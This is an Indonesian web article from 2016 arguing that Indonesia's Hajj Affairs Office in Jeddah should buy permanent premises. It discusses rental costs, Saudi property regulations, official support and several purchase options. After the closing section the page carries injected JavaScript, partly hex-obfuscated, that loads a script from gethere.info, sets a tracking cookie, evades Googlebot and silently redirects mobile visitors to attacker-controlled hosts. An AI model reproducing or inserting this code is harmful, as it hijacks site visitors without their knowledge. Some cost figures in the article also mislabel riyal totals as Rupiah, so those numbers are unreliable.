Urgensi Pengadaan Kantor Urusan Haji Indonesia

webmaster tuh
By webmaster tuh February 18, 2016 07:08

Urgensi Pengadaan Kantor Urusan Haji Indonesia

Dalam sebuah wawancara satu dekade lalu dengan harian al-Riyadh (11 Februari 2005)1, Wakil Presiden RI Yusuf Kalla menegaskan bahwa hubungan antara Indonesia dan Saudi Arabia dibangun di atas fondasi religius yang mendalam dan fundamental sebab Saudi Arabia memiliki al-Haramain al-Syarifain yang menjadi destinasi setiap Muslim. Relasi panjang dan mendalam ini terjalin sejak Islam pertama kali datang ke wilayah Nusantara yang terus bersemi dan berkembang sesuai perkembangan Islam di wilayah kawasan Asia Tenggara ini. Relasi yang membentang jauh sebelum berdirinya Negara Kesatuan Republik Indonesia tahun 1945 dan Kerajaan Saudi Arabia di tahun 1932. Kondisi ini yang membuat para penziarah al-Masjid al-Haram dan al-Masjid al-Nabawi tidak akan pernah berhenti mengunjungi Semenanjung Jazirah Arab ini untuk ibadah Haji atau Umrah. Sejarah mencatat bahwa Jemaah haji dari wilayah Nusantara dikenal sebagai penziarah yang diperebutkan oleh para Muthawwif (pembimbing haji) karena dikenal kaya nan dermawan dengan perbekalan emas dan perak yang dibawa. Tidak sedikit di antara mereka mewakafkan harta kekayaan di dua wilayah Haram yaitu Makkah dan Madinah sebagai amal shadaqah jariyah, dan bahkan sebagian dari mereka terus menetap di bumi suci ini turun temurun hingga kini. Sebagian besar dari keturunan mereka masih eksis hingga sekarang baik dari keturunan Banjar, Palembang, Banten, Betawi, Madura, Mandar, Aceh dan wilayah-wilayah lainnya. Kala itu negeri semenanjung Arabia ini masih ‘belum apa-apa’ alias miskin tidak lebih dari hamparan tanah gersang nan tandus.

Menurut Mamduh Mahmud, direktur cabang khusus Haji Saudi Hollandi Bank dalam wawancaranya dengan media KUH (15/12/2015) bahwa jemaah haji Indonesia tidak bisa dipisahkan dari sejarah berdirinya bank pertama Kerajaan Saudi Arabia tersebut yang 51 persen sahamnya dimiliki Saudi dan 49 oleh Belanda. Dahulu jumlah Jemaah haji Indonesia selalu menempati posisi 30-40 persen dari total Jemaah haji, dan sekarang tetap bertahan sebagai
pemegang kuota terbesar Jemaah haji dunia. Fakta historis ini menjadi bukti kongkrit betapa relasi fundamental religius yang dibangun antara masyarakat Nusantara pada dahulu kala melampaui batasan relasi teoritis nation state yang dibangun di atas asas kewilayahan. Ia menjadi fondasi asasi hubungan Indonesia-Saudi Arabia, sebagai faktor yang akan merawat dan mengabadikan relasi ini dulu, kini dan masa mendatang apapun tantangan dan hambatan yang mungkin bisa terjadi pada masa mendatang.
2- URGENSI

Kondisi riil ini seyogyanya diakui sebagai faktor terpenting dan bahkan sebagai distingsi (distinction) hubungan bilateral kedua negara yang sangat istimewa dibandingkan dengan relasi bilateral Indonesia dengan negara manapun di dunia ini. Pelaksanaan haji oleh masyarakat Nusantara dulu atau Indonesia kini sekali lagi berkontribusi besar dalam merintis, membangun dan merawat hubungan politik, social, kultur, ekonomi dan lain-lain antara Indonesia dan Saudi Arabia. Oleh karenanya, pertama, bila dipandang dari kaca mata politik dan diplomasi sangat tidak arif bila faktor pembeda relasi Indonesia-Saudi Arabia ini belum mendapatkan atensi yang cukup sehingga sampai sekarang belum memiliki kantor permanen di Saudi Arabia. Sesungguhnya, Haji dan Umrah ini berhak untuk mendapatkan apresiasi dari pihak pemerintah Saudi Arabia berupa hibah Kantor Permanen sebagai simbol dan prasasti pematri relasi diplomatis kedua negara bersaudara seiman. Kedua, ditinjau dari sustainability sesungguhnya belum ada catatan sejarah otentik di mana saja lokasi kantor pengelolaan Haji dan Umroh Indonesia dari dahulu hingga sekarang. Namun yang masih dapat diingat oleh para pegawai senior Kantor Urusan Haji Indonesia (KUHI) menyatakan bahwa sebelum menggunakan kantor sendiri, pada era Kedutaan Besar Republik Indonesia (KBRI) masih berada di Jeddah, KUHI berada di KBRI bernama Badan Urusan Haji (BUH). Sebutan ini terus berlanjut ketika Konsulat Jenderal Republik Indonesia (KJRI) berdiri di Jeddah menggantikan KBRI yang berpindah ke ibukota Riyadh, kantor haji yang kian memerlukan ruang berkapasitas luas guna menampung para pegawai dan sarana/prasarana hingga akhirnya menyewa sendiri gedung di kawasan Ruwais, Jeddah kendati ruang untuk Staf Teknis Haji tetap dipertahankan ada di KJRI al-Rehab Jeddah hingga kini. Kemudian KUHI berpindah ke wilayah al-Andalus (al-Hamraa) dekat dengan RS. King Fahad Jeddah dari tahun 1990 hingga sekarang. Fakta perpindahan KUHI dari waktu ke waktu tentu tak akan berakhir selama belum mendapatkan lokasi sendiri secara permanen milik negara Republik Indonesia. Kendati usaha pengadaan kantor secara permanen pernah dilakukan beberapa tahun silam, namun upaya ini berujung dengan kegagalan tanpa diketahui sebab utamanya yang konon belum mendapatkan restu Kementerian Luar Negeri Saudi Arabia. Ketiga, dari aspek efisiensi pengadaan kantor sangat jauh menguntungkan keuangan negara. Setiap orang yang berstatus penyewa selalu berpikir untuk memiliki rumah permanen karena ia efisien dan dapat membangun dan merawatnya sesuai kebutuhan. Dari data rekapitulasi anggaran biaya sewa KUH dan wisma petugas dari tahun 1990 hingga 2015 saja tidak kurang dari SAR. 30.705.000,- dengan rata-rata biaya sewa dan perawatan per tahun SAR. 1.340.000,- maka dalam 25 tahun ke depan diproyeksikan senilai Rp. 33.500.000,- jika memang KUH tetap berada pada lokasi property sekarang (milik perusahaan Bank Al-Rajhi grup ini). Maka total biaya yang dikeluarkan negara untuk 50 tahun sewa KUH dan seluruh fasilitas lainnya senilai SAR. 64,205,000,- (Enam puluh empat juta, dua ratus lima ribu Rupiah) atau senilai Rp. 236.595.425.000 (Dua Ratus Tiga Puluh Milyar Lima Ratus Sembilan Puluh Lima Juta Enpat Ratus Dua Puluh Lima Ribu).

aw

aw

Nilai kontrak di atas ditaksir menjadi 10 kali lipat jika saja KUHI menyewa tempat lain. Sebagai contoh, KUHI pernah menjajaki penyewaan gedung lain di wilayah yang sama dan luas serupa didapat tawaran biaya sewanya per tahun SAR. 2.500.000,-. Namun karena biaya yang demikian besar, niat pindah lokasi dibatalkan dan tetap menempati lokasi sekarang dengan konsekuensi renovasi dan perawatan yang tidak sedikit setiap tahunnya. Bila saja beberapa tahun mendatang terjadi perpindahan KUHI karena satu dan lain hal dan menyewa dengan biaya seperti penawaran tersebut SAR. 2.500.000,- + 690.000,- + 400.000 x 10 tahun = SAR. 35.900.000,- atau senilai Rp. 132.291.500.000,- (Seratus Tiga Puluh Dua Milyar Dua Ratus Sembilan Puluh Satu Juta Lima Ratus Ribu). Biaya ini akan semakin membengkak jika ditambah dengan beban sewa 5 wisma petugas (STH 1-4 + 1 wisma tamu Jeddah), dan perawatan untuk 25 tahun dengan asumsi bahwa wisma petugas tidak ada kenaikan dari harga sewa sekarang yang berkisar SAR. 110-150ribu/tahun. Kondisinya akan semakin membengkak bila kenaikan juga dialami oleh wisma-wisma untuk 4 Staf Teknis Haji dan wisma tamu Jeddah
(lihat table di bawah).
Estimasi Perhitungan Harga Sewa Kantor Baru, Wisma STH & Perawatan Dalam Kurun Waktu 25 Tahun

sss

Dengan estimasi di atas dapat ditaksir biaya yang harus dikeluarkan oleh negara dalam penyewaan KUHI, wisma STH dan Tamu, serta perawatan selama kurun waktu 25 tahun yaitu 92,250,000,- (Sembilan Puluh Dua Juta Dua Ratus Lima Puluh Ribu Real) atau senilai Rp. 339.941,250.000,- (Tiga Ratus Tiga Puluh Sembilan Milyar Sembilan Ratus Empat Puluh Satu Juta Dua Ratus Lima Puluh Ribu Rupiah). Angka ini akan semakin membengkak seiring dengan waktu
inflasi dan gonjangan ekonomis di Jazirah Arab, apalagi dengan situasi politik Timur Tengah yang kian panas dewasa ini. Bisa dibayangkan berapa saving atau efisiensi negara bila semua elemen bangsa dapat mendukung proses pengadaan KUHI yang keberadaannya untuk sepanjang masa.
3- LEGALITAS

Menurut regulasi Kerajaan Saudi Arabia pada butir ketiga (III) diperkenankan bagi perwakilan-perwakilan asing yang terakreditasi—dengan dasar resiprokalitas untuk memiliki kantor resmi, residen untuk kepala dan para anggotanya.3 Artinya secara regulasi ada  pembenaran perwakilan asing terakreditasi memiliki kantor resmi, residen kepala dan para anggotanya. Realitas property yang dimiliki oleh Konsulat Jenderal Republik Indonesia (KJRI) dewasa ini baru sebatas kantor resmi di kawasan al-Rehab dan residen Konsul Jenderal di kawasan Tahliyah, sementara para anggotanya belum terakomodir, padahal secara tekstual naskah aturannya membenarkan hal tersebut seperti sebagai berikut :
يجوز – على أساس المعاملة بالمثل – للممثليات ال جنبية المعتمدة بالمملكة تملك المقر الرسمي ومقر السكن ل رئيسها و أعضائها
“Dibenarkan kepada para perwakilan asing di Kerajaan Saudi Arabia—dengan dasar resiprokalitas—memiliki kantor resmi, residen untuk kepala dan para anggotanya”. Tentu izin dan regulasi ini tetap pada akhirnya harus mendapatkan restu dari Kementerian Luar Negeri KSA dengan dasar resiprokalitas bilateral antara Republik Indonesia dan Kerajaan Saudi Arabia. Menurut Konsul Jenderal Dharmakirty Syeilendra Putra bahwa memang beberapa tahun silam KSA merencanakan alokasi seluruh perwakilan asing di Jeddah di satu tempat sebagaimana halnya di ibukota Riyadh dengan Diplomatic Quarter-nya. Namun proyek ini belum kunjung dapat diwujudkan tanpa diketahui alasannya hingga sekarang. Hal ini ditengarai menjadi salah satu hambatan pengadaan Kantor Urusan Haji Indonesia yang sempat diperjuangkan di masa lalu. Dari aspek resiprokalitas, rencana pengadaan KUHI dipandang tidak ada masalah. Mengingat KSA memiliki beberapa properti di Jakarta yaitu :
1- Eks lokasi KBSA lama di Imam Bonjol yang ditempati oleh Atase Militer KSA dewasaini.
2- Residen Duta Besar KSA di kawasan Teuku Umar
3- Tanah di bilangan Gatot Subroto yang sedianya direncanakan untuk KBSA, namun tanah ini bermasalah dan dimenangkan oleh pihak penggugat.

4- Tanah luas di wilayah Pasar Rebo, persisnya di seberang Terminal Rambutan Pasar Rebo Jakarta Timur. Selain dari pada itu, mungkin ada lagi properti lain yang dimiliki KSA di wilayah Jakarta yang belum diketahui oleh penulis. Bila saja, resiprokalitas beberapa properti KSA di atas tetap belum cukup kuat memback- up legalitas kepemilikian properti permanen KUHI sesungguhnya eksistensi Atase Agama (al-Mulhaq al-Diniy) pada KBSA dapat menjadi alternatif barter resiprokalitas Republik Indonesia. Namun hal terakhir ini hanya sebagai last resort yang dapat diajukan bila beberapa alternatif sebelumnya gagal.

4- DUKUNGAN

Pengadaan KUHI di Jeddah dengan cara membeli dan memilikinya secara permanen dipandang sangat mungkin dilakukan. Hal itu dengan beberapa pertimbangan berikut : Pertama, regulasi Saudi Arabia perihal kepemilikan properti dan investasi bagi Non- Saudi terbit 12 Agustus 2000 membenarkan perwakilan asing untuk membeli properti. Regulasi ini otomatis menghapus regulasi yang melarang orang asing memiliki properti yang terbit tahun 1970. Pembelian properti oleh orang Non-Saudi di wilayah Makkah dan Madinah tidak dibenarkan menurut Pasal 5 dari peraturan Properti Bagi Orang Asing.

أما المادة الثالثة من النظام فهيي تخص الممثليات الاجنبية والسفارات، إ اذ أ جازت ومن مبد أ المعاملة بالمثل، تملك المقر الرسمي لها ومقر السكن لرئيس ها و أعضائها، ويجوز للهيئات الدولية 4
والاقليمية في حدود ما تقتضي بها التفاقيات التي تحكم تملك المقر الرسمي لها، شرط الحصول على ترخيص من وزارة الخارجية. ويلاحظ أن هذه المادة جاءت تأ كيدا للنظام السابق لتملك
العقار لغير السعوديين والمعمول به حاليا، والذي يجيز تملك البعثات والممثليات الاجنبية. ومنعت المادة الخامسة من النظام تملك العقار للاجانب أ و اك تساب حق الملكية أو الارتفاق أو
الانتفاع داخل حدود مدينتي مكة المكرمة والمدينة المنورة، عدا عبر التوريث. كما اس تثنت هذه المادة اكتساب حق الم لكية إ اذ اقرنن بها ووق( العقار المملوك طبقا للقواعد الشرعية على
جهة معينة وبشرط أيضا أن تحمل وثيقة والوق( نصا بذلك. وعلاوة على ذلك ف إ ان المجلس الاعلى للاوقاف س يكون له حق تملك والنظارة عليه. لكن هذه المادة أيضا اتاحت لغير
السعوديين إ امكانية استئجار العقار داخل حدود المدينتين المقدس تين لمدة ل تزيد على عامين قابلة للتجديد أو مدد ممثالة. وشددت المادة السادسة على وكتاب العدل ، وهم الموظفون الذين
يوثقون عقود الملكية في السعودية ويتبعون وزارة العدل، على عدم توثيق أي تصرف ل يتفق مع هذه الاحكام . Lihat
http://archive.aawsat.com/details.asp?issueno=8059&article=13218#.VoY4Bfl94gs (diunduh 01/01/2016)

Kedua, konsultasi penulis dengan Wakil Menteri Luar Negeri Dr. Ahmad Fachir saat agenda lepas tugas di Jeddah sekitar bulan 01/2015 menyatakan dukungannya bila Kantor Urusan Haji Indonesia berniat membeli kantor permanen di Jeddah. Ketiga, konsultasi Staf Teknis Haji I Ahmad D. Bashori dengan Sekretaris Jenderal Kementerian Agama RI Prof.Dr. Nur Syam dalam kunjungan saat akhir masa operasional Haji 1436-2015 (26/10/2015) beberapa waktu lalu menegaskan dukungannya bila KUHI ingin memiliki kantor secara permanen. Keempat, konsultasi KUHI dengan bapak Konsul Jenderal Dharmakirty Syeilendra Putra (02/12/2015) di sela-sela Rapat Rutin KJRI memberikan dukungan yang kuat terhadap pengadaan kantor permanen KUHI yang menjadi bagian tak terpisahkan dari Perwakilan RI di KSA.

5- WISMA TABUNG HAJI MALAYSIA

Hal lain yang menguatkan tekad manajemen KUHI dewasa ini yaitu pengalaman negara jiran serumpun Indonesia yaitu Malaysia yang sudah memiliki kantor haji secara permanen di Jeddah sejak beberapa dekade silam. Menurut informasi yang digalang KUHI, Malaysia memiliki Wisma Tabung Haji dengan alamat 24, Al-Bab Al-Zahabi Street, Behind Jamjoom Motor Workshop, Kilo-5, Old Makkah Road, P.O. Box 593, Jeddah 21421, Kingdom of Saudi Arabia. Namun karena lokasi wisma Tabung Haji berada dalam orbit perluasan jalan, maka besar kemungkinan lokasi ini akan digusur. Walau demikian, sesuai informasi yang didapat KUHI Konsul Haji Malaysia sudah menghubungi mediator mencari lokasi tanah kosong untuk dibangunkan wisma Tabung Haji baru dengan luas 7.000 m2. Lebih dari pada itu, perwakilan Malaysia di Jeddah memiliki 3 properti yaitu Kantor Konsulat Jenderal, residen dan Kantor Tabung Haji yang tetap berada di bawah administrasi Konsulat Jenderal Malaysia di Jeddah.

Fakta ini menganulir tesis yang mengatakan bahwa perwakilan resmi negara sahabat KSA hanya diperbolehkan memiliki 2 properti permanen. Demikian juga dengan regulasi tersebut di atas cukup memperkuat keyakinan bahwa pengadaan KUHI bukanlah sebuah mimpi kosong belaka, namun awal dari kenyataan hari esok (insya Allah). Negara jiran dengan jumlah Jemaah haji yang hanya sekitar 22.320 orang jemaah telah memiliki kantor permanen, tidakkah Indonesia dengan jumlah Jemaah hajinya 168.700 orang lebih berhak memilikinya?
6- SKENARIO PENGADAAN

Ada beberapa scenario yang dapat dilakukan :
a- Membeli Lokasi KUHI sekarang :

Membeli tanah dan gedung di lokasi KUHI sekarang menjadi alternatif pertama, sebab sudah banyak perbaikan gedung dan fasilitas yang ada di atas lahan seluas 3.400 m2 di kawasan Al-Andalus Jeddah. Lokasi KUHI dipersepsi strategis karena dalam kondisi Jeddah yang sedang macet sekalipun, para staf KUHI dapat bergerak ke Makkah dan Madinah atau ke Bandara dengan relatif mudah. Kedua faktor ini mengemuka saat ada keinginan untuk mempermanenkan KUHI di Jeddah. Langkah ini telah dijajaki dengan mendekati manajemen pemilik yaitu Al-Rajhi Group di Riyadh. Sedianya, KUHI diwakili Ahmad D. Bashori dan Akhmad Jauhari Chariri berusaha mendatangi pihak pemilik saat kunjungan kerja ke KBRI Riyadh (9/12/2015),
namun berkat saran lawyer KUHI Dr.Abdussalam Husain al-Qahtani yang pada awal rencana mendatangi Al-Rajhi sebaiknya dibataslkan. Sebab menurut lawyer tersebut, bila Al-Rajhi sepakat menjual kebiasaan di Saudi bila mengetahui pembeli adalah pihak pemerintah maka harga akan dinaikkan dua-tiga kali lipat.Untuk mencari harga ekonomis dan komunikasi kekeluargaaan, Abdussalam bersedia menjajaki kemungkinan pembelian. Namun setelah dijajaki, pihak Al-Rajhi
ternyata belum berniat untuk menjual dengan indikasi hingga telaah ini diselesaikan belum ada konfirmasi pihak Al-Rajhi Riyadh kepada pihak KUHI. Bila saja gedung ini dibeli, ditaksir bahwa harga di lokasi Al-Andalus sekitar SAR. 3000,-, maka dengan luas 3.400 m2 taksiran harganya yaitu SAR. 10.200.000,-. Dengan harga ini ditambah dengan taksiran biaya pembangunan SAR. 6.000.000,- maka harga total yang akan dihabiskan 16.200.000,- Namun bila harganya ternyata SAR. 5.000,/m2 maka total biaya dengan renovasi dan lain-lain ditaksir SAR. 23.000.000,- saja. Tetapi sekali lagi alternatif pertama ini nampaknya jauh panggang dari api, sebab perusahaan Al-Rajhi sekarang ini sedang pro-aktifnya menggumpulkan asset dan tidak ada ceritanya menjual.

b. Membeli Tanah dan Bangunan :
Membeli tanah dan bangunan yang siap untuk dijual sedang dijajaki. Ada beberapa
lokasi yang ada :
 Tanah dan Gedung di wil. Al-Hamraa Jeddah (700 m dari KUHI sekarang) :

A

Harga : SAR. 7.000/m2
Total dana : SAR. 45.500.000,-
Pada lokasi ini, KUHI sudah bertemu dengan wakil pemilik dan surat daripihak mereka pun telah kita terima :

AB

Untuk alternatif kedua ini, KUHI diberi waktu satu bulan untuk memberikan konfirmasi.

 Tanah dan Gedung di wil. Abhor Utara :

AC

Luas Tanah : 2.000 m2
Total Harga : SAR. 50.000.000,-
 Tanah dan Bangunan di Wil. Abhor Utara :

ad

Luas Tanah : 2.000 m2
Total Harga : SAR. 45.000.000,-
Lokasi : Abhor Utara
Lokasi-lokasi lain sedang dijajaki dengan meminta bantuan relasi di Jeddah agar mendapatkan lokasi terbaik dengan harga ekonomis.
c. Membeli Tanah dan Membangun :
 Alternatif terakhir ini sudah menemukan lokasinya yang terletak tidak jauh dari lokasi KUHI sekarang ini dengan luas tanah 5.000 m2 dan dengan harga SAR. 3.500/m2. Harga ini terhitung paling murah di wilayah Al-Andalus (hanya berjarak 200m dari KUHI sekarang) sebab beberapa lokasi tanah kosong di kawasan ini dihargai dengan SAR. 5000-7000.Pembicaraan awal telah dijajaki, namun tidak dapat dilakukan negosiasi lebih lanjut karena pihak pemilik menginginkan negosiasi serius yang dapat ditindaklanjuti ke tahapan pembelian.

ae

as

Harga/meter : SAR. 6.000,-
Total Harga : SAR. 60.000.000,-

d. Kerjasama Dengan Penyedia Akomodasi Makkah :

Sesungguhnya opsi ini hanya salah satu alternatif yang bisa saja dijajaki yaitu kerjasama dengan salah satu penyedia akomodasi Makkah. Informasi ini didapat di selasela pertemuan dengan salah satu penyedia di Musholla KUHI. Saat itu, penulis bertanya bila saja penyedia punya cara agar KUHI dapat punya kantor permanen di Jeddah? Secara spontan penyedia akomodasi tadi mengatakan : “Sangat mudah jika KUHI ingin memiliki gedung permanen …..anda kerjasama dengan kami!”, tegasnya. Informasi yang dilontarkan salah satu penyedia itu sontak memancing penulis untuk menanggapinya dengan serius. “Bagaimana caranya?”, tanya penulis. Singkat cerita, penyedia akan membangunkan kantor KUHI secara permanen baik dengan membeli tanah kosong dan membangunkan atau cara lainnya sesuai rancangan yang diinginkan dengan tanpa membayar sedikitpun. Lantas apa yang diminta penyedia? Penelusuran penulis menyimpulkan bahwa penyedia hanya ingin dapat kepastian kuota misalnya 100 ribu Jemaah haji Indonesia untuk masa lebih kurang 5-6 tahun dengan kesanggupan calon penyedia memenuhi standar dan kualifikasi yang ditetapkan Tim Akomodasi Jakarta dan dengan harga kompetitif. Walau dengan tuntutan agar prinsip Tamtir Tim Akomodasi Jakarta memegang batasan luas per Jemaah yaitu 3,5 m2 secara lebih fair berprinsip ‘la dharara wa dhiraarah’ (tidak saling merugikan). Tawaran ini tidak begitu menarik bila ditawarkan oleh penyedia kecil. Tetapi tawaran ini datang dari salah satu penyedia dengan porsi terbesar penempatan Jemaah tahun lalu. Sebab mendapatkan akomodasi dengan kapasitas 100 ribu bukan pekerjaan ringan. Namun karena penyedia yang menawarkan hal ini adalah penyedia yang pada
tahun lalu saja mampu mensuplai hampir 40 persen akomodasi dengan kapasitas 50 ribu Jemaah maka artinya penambahan kuota hanya 50 persen saja dari kapasitas yang didapat penyedia tahun lalu (2015). Bila saja tawaran ini mungkin dilakukan, pihak KUHI bersedia mengkaji lebih lanjut tawaran ini agar dapat diwujudkan di masa mendatang yang diyakini memberi keuntungan bagi keuangan negara dalam jangka panjang.
B. PENUTUP

Beberapa konsideran di atas dapat dikapitalisasi secara baik demi terwujudnya pengadaan Kantor Urusan Haji Indonesia secara permanen, kendati hal ini membutuhkan diskusi, pembahasan dan proses lebih lanjut. Telaah yang ada sekarang ini hanya mewacanakan beberapa alternatif yang mungkin dapat direalisasi guna kepentingan efisiensi, efektifitas kerja dan perbaikan pelayanan kepada jemaah haji Indonesia kini dan masa mendatang. Besar harapan semoga kajian singkat ini mendapatkan respon positif dan dukungan besar dari semua pihak guna mewujudkan KUHI milik bangsa di kota Jeddah. Bila tidak sekarang kapan lagi? (wallahu a’lam)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| 